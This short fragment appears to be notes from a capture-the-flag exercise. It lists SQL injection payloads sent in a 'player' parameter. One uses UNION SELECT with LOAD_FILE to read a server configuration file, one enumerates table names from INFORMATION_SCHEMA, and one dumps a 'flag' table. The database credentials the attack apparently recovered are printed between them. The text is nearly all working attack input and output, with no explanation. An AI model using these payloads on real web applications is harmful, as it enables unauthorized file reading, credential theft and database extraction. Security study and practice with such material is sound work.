player=ippse'+union+select+LOAD_FILE("/var/www/html/config.php")--+-
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
player=ippse' union select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where table_schema="november"-- -
player=ippse' union select * from november.flag-- -